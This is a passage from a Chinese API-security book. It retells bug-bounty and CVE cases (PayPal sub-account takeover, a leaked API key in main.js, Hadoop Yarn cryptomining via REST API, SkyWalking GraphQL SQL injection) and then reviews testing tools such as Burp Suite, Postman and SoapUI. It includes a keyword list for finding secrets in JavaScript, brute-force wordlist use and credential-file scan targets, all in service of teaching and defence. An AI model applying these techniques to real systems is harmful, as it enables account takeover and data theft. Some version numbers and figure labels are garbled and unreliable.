而这第二个id字段只是简单的数值类型,其值是可以枚举的,它的 数值是可递增或递减的。攻击者只需要篡改id值,比如修改为 53994224507,再次访问/businessmanage/users时,即可以查看到企业账 号下关联的另一子账号的信息。 因为权限控制存在设计缺陷,攻击者只需按照上述操作方式,把相 应子账号的密码进行修改,就可以实现完美的账号接管,进行任意未授 权的转账操作。 此漏洞上报后,PayPal官方及时地进行了修复,并给予赏金猎人了 10500美元的奖励。 3.2.3 委托授权漏洞启示 现在再来回顾一下整个攻击过程,如图3-4所示。 ●图3-4 委托授权攻击过程 从过程中可以看出,整个攻击链上有关键性的两步。 ■ 子账号id值的可枚举,导致从当前企业账号可以切换到被攻击对 象的企业账号下的子账号。 ■ 权限的扩大,从查看被攻击对象的企业账号下的子账号的功能, 权限扩展到子账号密码修改功能。 在OWASP API安全Top 10中,这属于典型的失效的对象级授权问 题。作为系统开发者,除了要增强id值的随机性(防止简单的数字值被 枚举)外,在对象的权限访问控制上,也要校验企业账号与子账号的绑 定关系,这种绑定关系的校验,不仅是信息查看、账号绑定之类的功 能,还要包含密码修改等相关操作。 对于此类场景下相关联性的校验和身份鉴别,在金融业务中非常常 见。比如对于用户身份的鉴别,当用户在ATM机或网银转账时,每次 转账都需要重新输入转账密码,这就是一种保护性设计。而不像其他电 子商务网站中的业务办理,登录后就不再需要输入密码。网银的每一笔 转账都需要密码,是因为密码的保管具有私密性,只有银行账号的所有 者才知道密码,每次验证密码的过程其实是对用户身份的一次确认过 程。比如在银行系统中,同一个自然人账号下会有多个银行账户,比如 借记卡账户、储蓄卡账户,当某人在网银自己给自己账户转账时,需要 校验自然人的身份是否一致,这也是使用关联关系来验证的一种保护性 设计。 3.3 API KEY泄露漏洞 因API KEY泄露导致的API安全问题,在业界非常普遍,下面这个 漏洞就是因API KEY保护不当而被泄露导致个人信息泄露。 3.3.1 API KEY泄露漏洞基本信息 2010年以来,个人信息泄露问题越来越成为互联网关注的重点。甚 至,有专家学者认为,信息泄露问题将可能成为压垮互联网发展的最后 一根稻草,这也从另一侧面反映出当前个人信息泄露的严重程度。在这 个案例中,将给读者讲解密钥泄露如何导致个人信息泄露。 漏洞类型:API2-失效的用户身份认证。 漏洞难度:中。 报告日期:2020-2-5。 信息来源:https://medium.com/@spade.com/api-secret-key-leakage- leads-to-disclosure-of-employees-information-5ca4ce17e1ce。 因为隐私问题,漏洞赏金猎人Ace Candelario在公开资料中将被攻 击企业化名为redacted.com,在子域名收集的过程中意外发现了某个域 名对应的主页面上,main.js文件包含API KEY,通过此密钥信息连接 API接入点,从而获取了企业的员工信息。信息泄露过程如图3-5所示。 ●图3-5 信息泄露过程示意图 3.3.2 API KEY泄露漏洞利用过程 在收集到的子域名中,Ace Candelario发现了一个叫 smh.internal.redacted.com的子域名,其功能是从Google重定向以对员工 登录进行身份验证。用户若想登录该页面,则需要一个有效的员工电子 邮件账号,类似于[email protected]。 在查看页面源代码后,他发现了一个JavaScript文件main.js,让他感 到惊喜的是JavaScript文件并没有混淆压缩,仅仅通过检查特定的关键 字,如公司名称redacted、域名(隐藏域或内部子域名)、文件扩展名 或明显的API路径、'secret'、'access[_|-]'、'access[k|t]'、'api[_|-]'、'[- |_]key'、'https:'、'http:'等,就找到了Base64编码的身份验证凭据,即HR 系统API KEY。其中main.js内容如图3-6所示。 ●图3-6 main.js文件内容示意图 通过API文档的阅读,快速验证JavaScript文件中泄漏的API KEY是 否仍在工作。并通过curl命令,可以轻松地从API接口获取员工列表。另 外,还可以查看、删除、更新所有的员工信息。 当然,漏洞提交后也很快通过官方的审核,并获取了2000美元的奖 励。 3.3.3 API KEY泄露漏洞启示 现在再来回顾一下整个攻击过程,如图3-7所示。 ●图3-7 API KEY管理不当导致个人信息泄露攻击过程分析 从漏洞过程分析中可以看出,在整个模拟攻击中,通过main.js文件 获取API KEY成了至关重要的一步。拥有了API KEY之后,才能通过 API接口获取员工信息。 从攻击者的角度看,如何创建自己的密钥关键字、通过关键字找到 密钥、正确地读懂API文档、及时验证密钥的可用性,这些都是攻击者 能力积累的体现。从防御者的角度看,将密钥存放在JavaScript文件中、 采用Base64编码、JavaScript文件未混淆压缩都是败笔,方便了攻击者快 速地获取密钥信息。 3.4 Hadoop管理API漏洞 Hadoop作为大数据技术的基础组件,在很多互联网应用中被广泛使 用,其中管理API的安全性问题,最近这几年逐渐被安全人员所关注。 3.4.1 Hadoop管理API漏洞基本信息 随着虚拟货币市场的疯狂发展,挖矿病毒已经成为网络不法分子最 为频繁的攻击方式之一。因挖矿病毒对算力的渴求,GPU服务器、大数 据应用成了挖矿病毒者眼里的宠儿。2018年6月,腾讯云鼎实验室公开 了一例针对Hadoop Yarn REST API挖矿病毒的详细报告,这里重点从 API安全的角度,一起来分析这个漏洞。 漏洞类型:API5-失效的功能级授权。 漏洞难度:高。 报告日期:2018-6-4。 信息来源:https://cloud.tencent.com/developer/article/1142503。 Hadoop Yarn大数据组件的Cluster Applications API对外提供了一系 列的接口,其中就包含new application和submit application两个API入 口。默认情况下,Yarn开放8088和8089端口,无用户鉴别和授权机 制,任意用户均可以访问。攻击者就是利用Hadoop Yarn资源管理系统 REST API未授权漏洞对服务器进行攻击,在未授权的情况下,远程执 行文件下载脚本,从而再进一步启动挖矿程序达到集群化挖矿的目的。 Hadoop集群被挖矿病毒攻击的过程如图3-8所示。 ●图3-8 Hadoop集群被挖矿病毒攻击示意图 3.4.2 Hadoop管理API漏洞利用过程 攻击者首先通过Hadoop Yarn的Cluster Applications API中申请的新 application接口生成新的application对象,如下所示: 返回内容类似于: 接着,通过Submit Application的POST方法,提交生成带命令行的 脚本,再调用Hadoop Yarn REST API执行脚本,其接口执行命令行原理 如图3-9所示。 ●图3-9 Hadoop Yarn REST API调用命令行样例 而脚本内容为下载挖矿病毒的程序,伪码如下: 执行脚本下载挖矿程序到指定目录下,再通过下载配置文件以 nohup方式给挖矿程序添加执行权限和运行时环境设置。最后,将脚本 以crontab任务的方式运行。 当然,除了上述的这些基本的入侵操作外,报告中对病毒还做了其 他的分析。但这里通过对new application和submit application两个API的 调用分析,基本理清了攻击者入侵的过程和引起问题的原因。 3.4.3 Hadoop管理API漏洞启示 继续利用思维导图,来对攻击过程做一下回顾,如图3-10所示。 ●图3-10 Hadoop Yarn资源管理API攻击过程 在整个攻击过程中,攻击者对Yarn管理API的利用是突破的关键 点,它完成了两项重要任务。 ■ 创建新的application,并上传脚本文件。 ■ 下载挖矿病毒程序脚本,并在集群内以定时任务方式运行。 这些两点是挖矿病毒在集群中赖以生存下来的根本。 从攻击者的角度看,它仅仅是利用了Hadoop Yarn公开的API接口构 造了独特的攻击手段,从而达成攻击目的。而防御者自身对Hadoop Yarn REST API接口安全意识不足,没有禁止将接口开放在公网或启用 Kerberos认证功能、禁止匿名访问是导致此漏洞发生的原因。 如果把视野再扩大一点就会发现,其实不但Hadoop Yarn有此类问 题,Spark和Solr也存在类似的问题。在笔者亲身经历的一个Solr案例 中,恶意攻击者将Solr中的数据清洗一空,给某电商企业造成了很大的 损失。无论是安全从业者还是业务技术负责人,都应该吸取这样的教 训,在使用开源类组件时,关注默认配置项的安全设置是否合理,以防 患于未然。 3.5 Apache SkyWalking管理插件GraphQL API漏洞 作为一项新兴的技术,GraphQL在很多互联网应用中开始被使用, Apache SkyWalking也对外部提供了GraphQL API的接口,本节将要介绍 的漏洞就与GraphQL API技术相关。 3.5.1 GraphQL API漏洞基本信息 自从2015年GraphQL被Facebook推出以来,在互联网应用中得到了 广泛的使用。随着GraphQL使用范围的扩大,新技术带来的安全问题也 逐渐增多。近日,NVD发布的CVE编号为CVE-2020-9483的漏洞就与 GraphQL相关,下面带读者一起来看看这个漏洞的详情。 漏洞类型:API5-失效的功能级授权。 漏洞难度:高。 报告日期:2020-07-10。 信息来源:https://nvd.nist.gov/vuln/detail/CVE-2020-9483。 Apache SkyWalking是一款开源、功能强大的应用性能监控系统, 尤其是针对微服务、云原生和面向容器的分布式系统的性能监控。它通 过直观和友好的用户操作界面为用户提供包括指标监控、分布式追踪、 分布式系统性能诊断等功能,受到国内很多互联网公司的欢迎,比如华 为、阿里巴巴、腾讯微众银行等。在其63.0.0~6.6.0、7.0.0版本中,如 果使用H2/MySQL/TiDB作为数据存储,通过GraphQL协议查询元数据 时,存在一个SQL注入漏洞,允许攻击者访问未授权的数据。其利用过 程如图3-11所示。 ●图3-11 CVE-2020-9483漏洞利用示意图 3.5.2 GraphQL API漏洞利用过程 GraphQL协议导致的SQL注入漏洞,在原理上与普通的Web安全中 的SQL注入漏洞并无本质的差别。这点,从GitHub上对应的issue下的 pull request修改的代码内容可以看出,如图3-12所示。 ●图3-12 GitHub源码库修复CVE-2020-9483漏洞的代码片段 在提交的新代码中(如图33-12中方框标注部分),作者将SQL字 符串拼接方式的代码改为预编译方式的SQL语句,这是修复SQL注入的 普遍解决思路。GraphQL协议导致的SQL注入漏洞与传统Web安全中所 说的SQL注入漏洞的不同在于请求时的应用协议为GraphQL。在 SkyWalking的基础配置中,有对GraphQL请求接入点的配置项,如图33- 13所示。 ●图3-13 Apache SkyWalking配置文件中关于GraphQL的配置代码段 当Apache SkyWalking运行时,可以通过此访问入口/graphql进行 GraphQL请求和响应。可以通过构造一个非恶意的请求参数,验证请求 链路的正确性,响应结果如图3-14所示。 ●图3-14 Apache SkyWalking GraphQL请求样例 在Apache SkyWalking公开的源码库中,有对GraphQL请求参数定义 的相关schema配置文件。其访问地址为 https://github.com/apache/skywalking-query-protocol,其中包含了当前版 本中使用GraphQL协议查询的详细定义文件,如图3-15所示。 ●图3-15 Apache SkyWalking GraphQL查询协议定义 熟悉GraphQL协议的攻击者,在请求的JSON对象中构造普通SQL注 入请求参数,访问GraphQL查询路径/graphql,即可达到SQL注入的目 的。 3.5.3 GraphQL API漏洞启示 继续利用思维导图,来对漏洞利用过程做一下回顾,如图3-16所 示。 ●图3-16 CVE-2020-9483漏洞利用关键步骤 作为一项新的API技术,GraphQL正在迅速地普及。因其具有内置 查询语言的特性,使得请求的参数都包含在JSON数据结构中,对传统 的安全测试人员和网络安全防护产品来说,如果不熟悉其协议或无法检 测JSON数据结构中的攻击载荷,都将是一个大的安全挑战。本案例 中,攻击者将Apache SkyWalking默认端口和默认请求路径/graphql作为 攻击入口,是漏洞被利用成功的第一个关键因素。如果修改默认端口和 默认请求路径,将提高发现注入点的难度。研发人员在编写代码时,使 用SQL字符串拼接的方式组装SQL查询语句,是漏洞能被利用成功的根 本原因。如果不使用字符串拼接的方式,调整为预编译方式来执行SQL 语句,将可以避免SQL注入漏洞的产生。 当前的这个案例中,漏洞利用所需要的技术除了GraphQL协议外, 并无其他新颖的攻击手法,漏洞利用过程也不复杂。作为技术人员,在 使用一项新技术时,除了要评估新技术给业务带来的价值以外,也应考 虑新技术的使用成本和风险,充分了解新技术的优缺点,扬长避短,发 挥新技术优势的同时也要规避因使用新技术带来的不必要的风险。 3.6 小结 本章通过上述5个案例,从OAuth协议、委托授权、API KEY等方 面,介绍了API技术中常见的安全漏洞及其原因。这些漏洞案例,仅仅 是API安全问题中很小的一部分。API发展到今天,API安全也并非新生 事物,它已然积患已久,亟待整治。从NVD到各大互联网厂商的安全应 急响应中心以及漏洞赏金平台,都有它频频闪现的身影,这也着实提醒 每一个安全从业者,需加强对它的重视。就像人类健康的治理一样,应 大力倡导安全的生产方式和行为习惯,逐步从“以治病为中心”转变 到“以预防为中心”。 第4章 API安全工具集 工欲善其事,必先利其器。在API的生命周期管理中,研发人员或 安全人员通常使用各种工具,比如API文档管理工具、API测试验证工 具、API自动化扫描工具等。使用这些工具或软件,能快速地提高工作 效率,同时也为API产品的生产质量提供规范的过程保证。本章主要介 绍API安全相关的工具。 4.1 工具分类 通常来说,当IT从业人员谈论工具时,是站在工程或项目的视角去 界定工具的。在PMBOOK理论中,工具包含系统、平台、软件,也包 含表单、模板、指导规范,在这里API安全工具的界定范围也是如此。 笔者根据工具使用方式或效果的不同,将工具划分为两类:赋能型工具 和操作型工具。 1.赋能型工具 赋能型工具本身不提升效能,它强调的是基础知识和体系,能让读 者系统地了解相关知识的来龙去脉,掌握其技术细节。基于其内容的相 关性,将它为以下两类。 ■ 规范指南类:主要是指各类官方文档、操作指南、checklist等, 典型的如OpenAPI官方文档、微软Azure WEB API设计规范、GraphQL 规范、OWASP API安全文档等。 ■ 知识学习类:主要是指培训材料、学习平台、演示环境等,典 型的如各个API开放平台公开的培训材料、DEMO源码程序、Inon Shkedy在GitHub公开的API安全小贴士、GraphQL漏洞练习程序 vulnerable-graphql-api等。 2.操作型工具 与赋能型工具不同,操作型工具更符合软件研发人员对传统工具的 定义和认知,一如人类在石器时期学会使用石刀、石斧来征服自然, API从业人员使用此类工具来改进工作环境,更有利于开发出包含API 功能的相关产品。依据其功能的不同,笔者将此类工具作如下划分。 ■ 辅助类工具:主要是指各类规范的符合度,比如OpenAPI规范检 测工具、安全编码规范检测工具、API格式转换工具等。 ■ 手工类工具:主要是指用来辅助人工测试的工具,比如常见的 SoapUI、Postman、Burp Suite均属于此类。 ■ 自动化工具:此类工具主要提供自动化扫描功能,在这里重点是 指安全漏洞扫描,比如用于代码安全的Fortify、用于API漏洞扫描的 Astra。 ■ 综合类工具:此类工具以平台系统为主,对线上运维的API进行 多种监控和管理,比如API生命周期的管理、API入侵检测的监控等。 4.2 典型工具介绍 在众多与API安全相关的工具中,有一些工具被广泛使用或在某个 方面有着独特的优势,在这里为读者挑选几款做重点介绍。 4.2.1 API安全小贴士 API安全小贴士是一份公开在GitHub上的纯英文文档型工具,内容 非常适合API安全入门者参考,将它作为API安全入门案例来分析,是 希望读者能快速掌握API安全诸多技术细节。 工具名称:31-days-of-API-Security-Tips。 工具网址:https://github.com/smodnix/31-days-of-API-Security- Tips。 工具简介:文档以Inon Shkedy在Twitter上分享的31个案例和多个 场景,以图文加附件的形式,讲述API安全问题的发生根源和原理以 及表现形式。这里,将其包含的主要内容做简单的归纳,如表4-1所 示。 表4-1 API安全小贴士的主要内容 这份文档工具很好的总结了当前API安全测试时重点关注的安全漏 洞类型,同时也对API安全测试时的漏洞挖掘思路提供了多方面的参考 建议,非常适合有应用安全渗透测试基础的人快速上手,去了解API 安全测试的内容。另一方面,对API安全了解甚少的人,也可以通过此 工具,快速地完成API概览,通过工具学习,初步积累API基础知识, 为进一步学习API安全打下基础。因此,在API安全工具中,此文档型 工具作为首选工具向读者做了介绍。 4.2.2 Burp Suite工具 Burp Suite是一个集成型的Web应用程序安全软件,其拥有多种测试 套件,通过多个套件或插件的组合使用,能让API安全人员在测试过程 中如虎添翼。 1.基本信息 工具名称:Burp Suite。 工具网址:https://portswigger.net/burp。 工具简介:Burp Suite是由英国的PortSwigger公司提供的基于Java运 行环境的商业渗透测试套件,可分为社区版、专业版和企业版三种,其 官方网站的介绍如图4-1所示。 ●图4-1 Burp Suite版本信息 企业版主要面向企业用户,提供CI持续集成功能;专业版面向大多 数渗透测试人员,提供专业的渗透测试套件,以支持渗透工作的开展; 而社区版是专业版的子集,功能较少。故给读者介绍的工具以专业版为 基础。Burp Suite的主要功能特点如下。 ■ 自动化漏洞扫描,覆盖1300多种常见漏洞,比如XSS、SQL注 入、XXE、文件路径遍历等。Burp Suite自身携带的爬虫套件能自动爬 取URL并进行漏洞扫描。 ■ 手工安全测试套件,Burp Suite套件中包含多种安全测试套件, 比如用于流量代理的Proxy套件、用于流量重放的Repeater套件、用于攻 击的Intruder套件、用于编码解码的Decoder套件等。这些套件方便安全 人员在测试时,根据测试场景的不同选择不同的工具,采用手工+自动 结合的方式,控制执行过程,达到事半功倍的效果。 ■ 丰富的第三方插件,Burp Suite的拓展套件(Extender)提供第三 方插件入口,在其应用商店中具有众多的插件(当然也包含API安全相 关的插件),用户可以通过访问其应用商店网址 https://portswigger.net/bappstore,选择自己使用的插件来安装。 2.基本原理 Burp Suite的工作原理是以代理的方式,将流量导入套件,通过对 流量的拦截、修改、分析、重放、阻断等操作,来验证应用程序的安 全性。其简要流程如图4-2所示。 在使用Burp Suite的情况下,客户端与服务器端将无法直接通信, 流量通过Burp Suite被截获。当读者使用Scanner套件来扫描或使用Proxy 套件代理后进行其他操作,在安全验证过程中,都需要根据不同的验证 场景,调用其他套件的功能,共同完成测试流程。比如验证重放机制时 调用Repeater套件,尝试暴力破解时调用Intruder套件以及过程中对数据 的篡改和分析等操作所使用的其他套件。最终流量归集到服务器端来执 行,通过服务器端响应情况判断问题是否存在。 ●图4-2 Burp Suite工作原理 3.Burp Suite在API安全中的用法 Burp Suite作为渗透测试工具,在安全方面有着广泛的使用。尤其 在其应用商店中,有一些与API安全相关的插件,常用的有OpenAPI解 析器(OpenAPI Parser)、Postman集成插件(Postman Integration)、 WSDL插件(Wsdler)、令牌提取器(Token Extractor)、GraphQL自查 器(InQL)、越权检测插件(Autorize)等。 ■ OpenAPI解析器:主要功能是利用OpenAPI规范,自动解析定 义文件,转换为Burp Suite通用的接口调用形式。比如将 http://editor.swagger.io/中的swagger.yaml文件导出,如图4-3所示。 ●图4-3 Swagger API配置信息导出 将图4-3生成的swagger.yaml文件导入OpenAPI解析器,其解析结果 如图4-4所示。 ●图4-4 OpenAPI解析器展示界面 ■ Postman集成插件:提供Postman与Burp Suite的集成功能,可将 Burp Suite的流量信息导出生成Postman可识别文件,也可直接导入, 在Postman中进行测试。例如,在HTTP历史记录中,选中需要导入的 Postman记录,生成Postman可以识别的流量集合文件,如图4-5所示。 ●图4-5 Postman集成插件展示界面 ■ WSDL插件:主要通过解析WSDL规范文档,自动生成用于 WebServices的SOAP请求用例,便于安全人员进行测试验证。如果读 者配置了此插件,当访问WSDL时,可以从HTTP历史记录中提取流量 到WSDL插件中,如图4-6所示。 ●图4-6 WSDL插件展示界面 ■ 令牌提取器:它是管理Token的插件,在API安全测试过程中,经 常会遇到需要携带令牌的场景,这时安全人员即可使用它从响应报文中 提取Token用于之后的请求。 ■ InQL插件:主要用于GraphQL API的自省查询,比如搜索已知的 GraphQL URL路径、GraphQL开发控制台、每个GraphQL请求/响应等。 ■ 越权检测插件:主要是配置高权限和低权限用户,插件自动以低 权限用户请求的形式,验证越权漏洞的存在。如果存在越权漏洞,此 次请求会被标注为红色;如果没有越权漏洞,则此次请求被标注为绿 色;对于无法判断的,则标注为黄色。此插件在当前越权漏洞测试耗时 的环境下,能帮助安全人员快速地检测越权漏洞。其插件界面如图4-7 所示。 ●图4-7 越权检测插件展示界面 当然,除了这里列举的插件外,Burp Suite应用商店中还有很多其 他的插件也非常实用,比如用于用来做Protobuf协议安全测试的 BlackBox、自动重放的Auto Repeater、VMware提供的burp-rest-api插件 等,读者可以在Extender套件中访问应用商店,根据自己的喜好选择安 装。其应用商店的插件如图4-8所示。 ●图4-8 Burp Suite应用商店展示界面 4.2.3 Postman工具 Postman是一款商业化软件,在API的研发管理中被广泛使用于API 设计、API构建、API测试等工作环节。当然,它也同样适用于API安全 测试和管理。 1.基本信息 工具名称:Postman。 工具网址:https://www.postman.com。 工具简介:Postman是由Postman公司开发的界面友好的API开发协 作软件,不同的使用者通过简单的配置即可开展工作,并且其具备的自 动化集成、批量操作、脚本定制等功能,使得其在API软件市场占有很 大的比重。其官网功能介绍如图4-9所示。 ●图4-9 Postman官网功能介绍 其功能特点主要如下。 ■ 多平台的客户端支持,读者可以从其官网下载macOS、 Windows(32位/64位)、Linux(32位/64位)不同平台的客户端软件, 通过简单的安装即可使用。目前,Postman提供免费版和企业版两种版 本,大多数情况下,免费版即可满足读者的日常使用。 ■ 方便的自动化集成,Postman支持命令行调用和API调用的方式, 与CI/CD管道工具进行集成。比如在CI中安装Newman工具,即可以调 用本地或服务器端的API集合。 ■ 丰富的管理功能,Postman提供个人空间管理、团队协作API管 理、SAAS服务与SSO集成管理等,加上其完善的在线文档,为用户的 使用提供了极大的帮助。 ■ 友好的脚本定制,Postman支持多种形式的脚本定制功能,比如 pre-request脚本、多语言编码,这些功能为不同场景下的API测试提供了 批量操作、自动化操作的入口。如图4-10所示为不同编程语言的代码截 图。 ●图4-10 Postman脚本功能展示 2.基本原理 在理解Postman的工作原理之前,先来了解一些基本的概念,这样 便于更好的理解Postman安全测试的过程。 ■ Collections(集合):集合是Postman采用分组的方式,将一组相 似的API请求归类,但每一个API请求可以设置相应的header、body、 URL参数、授权方式及配置。 ■ Runner(运行器):Runner是Postman特有的模块,当读者使用 Runner时,其实是执行集合中的每一个API请求。Runner充当管理者的 角色,对所有的API请求进行调度、编排,达到流程化的目的。 ■ Variables(变量):Postman中的变量和软件开发中变量类似, 它也有不同的作用域,比如全局变量、集合变量、环境变量、本地变量 等,这些变量的值,读者可以采用程序编码的方式,通过读取URL参 数、HTTP请求、本地文件等操作进行赋值。 ■ Environments(环境):Postman中的环境是指API请求的上下 文,通常以键值对的方式存储数据。 ■ Pre-Request Script(预请求脚本):预请求脚本主要用于设置 API请求中的数据、变量,比如通过预请求脚本可以获取Environments 中的数据,设置各种Variables变量值。 ■ Test Script(测试脚本):测试脚本在从服务器收到Response后 才开始执行,其主要用来设置变量值、判断响应是否符合预期。比如检 查Response的body中是否包含payload返回的字符串、HTTP状态码, HTTP Header是否包含关键字等。 理解了上面的几个概念之后,就更容易理解Postman适用于安全测 试的基本原理了。其原理如图4-11所示。 ●图4-11 Postman的工作原理 当Postman以Runner方式运行后,首先从预定义的集合中获取API列 表,按照Runner编排的顺序(如果没有编排,则默认顺序)分别发起 API请求。在请求发起前,加载预请求脚本。预请求脚本中,通过编码 的方式,获取全局变量、集合变量、环境变量、本地变量等变量值进行 赋值,再发送请求到服务器端。 服务器端接受请求,反馈应答响应。Postman接收到响应报文后, 调用测试脚本,验证响应的准确性,并给出结果判断,最终形成报告。 3.Postman在API安全中的用法 Postman主要以功能测试为主,安全人员之所以使用它进行安全测 试,是因为它支持REST API、SOAP API、GraphQL等多种API协议,并 集成了API KEY、HTTP Basic、Digest、OAuth多种认证形式,使用它 来做安全测试可以帮忙安全人员解决很多其他工具软件无法解决的问 题。但因为Postman的主要功能不是做安全测试,所以需要在理解 Postman使用方式的基础上,将常用的安全攻击手法融入其中,才能达 到安全测试的效果。例如,最常见的用户和口令暴力破解场景,安全人 员需要自己准备攻击向量或字典,再使用其提供的Runner collections方 式,设置字典值payload,进行安全测试验证。字典的选择可以使用 FuzzDB中的wordlists-user-passwd,然后再使用Postman的Runner进行 Fuzz测试,如图4-12所示。 ●图4-12 Postman加载暴力破解字典设置 当然,读者也可以通过Postman支持代理的方式,将Postman与Burp Suite联合使用,这样就可以省略动手编写脚本获取参数的步骤,将 payload的设置在Burp Suite中来做。例如,将Postman的代理地址和端口 设置为Burp Suite的默认代理,如图4-13所示。 ●图4-13 Postman代理设置 通过图4-13的代理配置,当在Postman发送API请求时,Burp Suite将 获取到对应的流量,如图4-14所示。 ●图4-14 Burp Suite代理Postman后流量展示界面 4.2.4 SoapUI工具 SoapUI是一款商业化的API测试软件,在REST API、SOAP API、 JMS方面都有着广泛的使用基础。 1.基本信息 工具名称:SoapUI。 工具网址:https://www.soapui.org。 工具简介:SoapUI是从做WebService接口测试开始起步的,在后来 的产品功能中逐渐支持了REST API接口测试并将专业版改名为Ready API。随着产品的发展,其功能变得愈加丰富,从API的功能性测试、 性能测试、安全测试到Mock测试,以及持续集成能力。十几年的行业 经验积累使得SoapUI在API领域一直处于领先地位,深受众多测试人员 和开发人员的喜爱。 SoapUI目前有开源版和专业版两个版本,这两个版本的差异如图4- 15所示。 ●图4-15 SoapUI官网开源版与专业版功能对比截图 在常规的人工测试中,如果不考虑CI/CD的自动化集成,SoapUI开 源版的功能足够满足日常使用,在这里以SoapUI专业版(即 ReadyAPI)为蓝本进行介绍。SoapUI在API安全方面的功能特性如下。 ■ 多种类型API通信协议支持,常见的有SOAP类型、RESTful类 型、JMS类型等。在同一种工具中支持不同的协议类型,避免使用者工 作时在不同的工具之间切换,极大地降低了学习工具的成本。 ■ 原生安全自动化支持,与Postman相比,SoapUI本身自带的安全 检测功能对使用者更加友好,无须借助其他工具,即可开展安全测试工 作。 ■ REST API自动发现功能,SoapUI可以通过代理的方式,自动抓 取REST API的流量,形成测试用例。 ■ 多种API认证方式支持,比如SAML、用户名/口令、数字证书、 OAuth 1.0、OAuth 2.0等。 2.基本原理 因为SoapUI自身携带安全模块,故其工作原理相对比较简单,如图 4-16所示的流程即为安全工作的流程。 ●图4-16 SoapUI工作原理 与Postman类似,SoapUI的测试验证过程更为简洁,大致可划分为 配置加载、安全测试用例生成、请求发送、响应验证43个步骤。配置 加载步骤的目的是将每一个API请求相应的header、body、URL参数、 授权方式等配置信息进行设置,当配置信息收集完成后,安全测试模块 会使用这些信息,组装上SoapUI内置的安全攻击向量,对服务器端发送 API请求。当服务器对请求做出相应的响应时,安全测试模块根据响应 报文,识别是否存在安全漏洞。 3.SoapUI在API安全中的用法 当读者使用SoapUI进行API安全测试时,工具提供了3种API配置导 入路径,如图4-17所示。 ●图4-17 SoapUI导入API规范文件设置界面 ■ 从标准的规范文件导入,比如Swagger文件、WSDL文件、 OpenAPI定义文件等。 ■ 从URL加载,通过读取URL内容,工具自动解析并生成API相关 配置。 ■ 从本地工程读取工程中的配置文件,生成API相关配置。 API配置生成后,工具会自动提示用户选择安全用例。常见的API 安全用例会以列表的形式呈现,用户根据需要选择安全用例(开源版有 部分安全测试用例无法使用),即可启动安全测试。其安全测试用例如 图4-18所示。 ●图4-18 SoapUI安全用例选择界面 SoapUI的安全测试模块发出的请求通过服务器响应后,仍交由工具 内部处理,生成安全报告。在SoapUI的安全测试界面,展示每一个请求 的详细执行情况。通过这个界面,也可以更深入地了解SoapUI使用了哪 些payload对API进行了测试验证。其扫描界面如图4-19所示。 ●图4-19 SoapUI安全扫描执行界面 SoapUI默认支持的安全扫描类型种类比较多,主要有如下几种。 ■ 边界或临界值扫描,比如数组越界、字符串长度越界、数值越界 等。 ■ 跨站脚本攻击扫描,比如存储型XSS、反射XSS等。 ■ 模糊测试,除了支持对不同参数的Fuzz外,也支持不同的HTTP 请求方法的Fuzz、JSON对象的Fuzz。 ■ XML类攻击扫描,比如XML实体攻击、XML炸弹、XPath注入 等。 ■ SQL注入类扫描,比如MySQL类注入、Oracle类注入、NoSQL类 注入等。 ■ 信息泄露扫描,比 如.htaccess、.ssh/id_rsa、.ssh/authorized_keys、.svn文件等。 ■ 不安全的授权认证扫描,比如与API认证授权相关的内容(如会 话ID、Cookie等)。SoapUI在此方面支持的功能比较弱,更多地需要结 合业务流程,做人工渗透测试和验证。 4.3 其他工具介绍 除了上文中提及的典型工具以外,还有一些工具在API安全的其他 方面有着不同的用途。在这里,也为读者做简要的介绍。 4.3.1 自动化工具 在漏洞扫描工具中,还有些工具功能与SoapUI类似,虽没有友好的 可视化操作界面,却又因在漏洞发现功能上有着独特优势而拥有一定的 用户群体。 1.自动化API攻击工具 这是由著名的Web应用防火墙厂商Imperva开源的一款可定制的API 攻击工具,在无须人工干预的情况下,只需简单地运行该工具即可获得 攻击报告。读者可以访问GitHub(https://github.com/imperva/automatic- api-attack-tool)去下载此工具。其工作原理是从API规范文件(Swagger 2.0、.json或.yaml格式)读取API信息,对于每个API,通过Fuzz的方 式,模拟攻击请求,检测安全漏洞。它的主要功能特性如下。 ■ 适用于检测API的功能实现是否安全设计一致、是否具有缓解攻 击的保护措施类场景。 ■ 适用于检测API输入参数是否被正确的处理以及进行模糊测试场 景。 ■ 适用于在CI/CD管道中,与Jenkins作业任务进行持续集成的场 景。 ■ 适用于具备API扫描工具定制化需求的场景。 2.Astra工具 Astra是23018年全球黑帽大会上亮相的一款工具,Flipkart安全团队 开发这款工具的目的是想让安全工程师或应用程序开发人员能将Astra用 作其SDL流程的组成部分,专门用于REST API渗透测试。其名称Astra 即来源于Automated Security Testing for REST API's首字母缩写,同 时,“Astra”这个术语本意是表示防御战场上被袭击的工具。通过理解这 些含义,或许能帮助读者更好的理解Flipkart安全团队开始这款工具的意 图。 目前渗透测试操作系统Black Arch已将Astra纳入其安全测试工具 包,在GitHub上也有其开源的源码站点(https://github.com/flipkart- incubator/Astra),读者可以下载源码或参考网站说明使用此工具。作 为专用于REST API的安全测试工具,它可以模拟多种类型的攻击,主 要如下。 ■ SQL注入。 ■ XSS跨站脚本。 ■ 信息泄漏。 ■ 身份验证和会话管理。 ■ CSRF跨站请求伪造。 ■ 速率限制。 ■ CORS配置错误(包括CORS绕过)。 ■ JWT攻击。 ■ CRLF检测。 ■ XXE攻击。 除了以上攻击类型外,Astra还具备自动检测身份验证相关API、与 CI/CD管道集成等功能。针对Astra工具的详细使用,在后续的章节中, 将为读者做进一步的介绍。 4.3.2 经典安全工具 API安全不是一个新的领域,只是因为近些年API安全问题的突出 而被单独列出来,换一个新的视角去关注其安全性,所以很多经典的安 全工具仍然适用,比如漏洞扫描软件Acunetix WVS、协议分析软件 Wireshark等。 1.Acunetix WVS漏洞扫描器 Acunetix WVS是业界知名的一款网络漏洞扫描软件,通常用来扫描 可以通过Web浏览器访问的Web应用程序,因其功能强大,软件界面简 洁,操作简单深受用户喜爱。在API安全方面,Acunetix WVS也提供了 友好的功能支持。比如自定义认证方式和速率控制。作为一款自动化漏 洞扫描工具,其支持浏览器代理、外部文件导入、爬虫等方式获取需要 扫描的URL路径,当API安全扫描时,可以将Postman、Burp Suite中收 集的流量文件导入Acunetix WVS,启动自动化扫描。其文件导入界面如 图4-20所示。 ●图4-20 Acunetix WVS导入外部文件 2.Wireshark工具 Wireshark作为业界著名的网络协议包分析软件一直深受IT技术人员 的喜爱,在安全方面也同样有着广泛的使用。网络工程师使用Wireshark 分析网络问题,软件工程师使用Wireshark分析自己编写的软件问题,安 全工程师使用Wireshark分析网络攻击,比如ARP欺骗、DoS攻击、防火 墙规则调试等。正是Wireshark这种强大的网络协议包分析功能,它也常 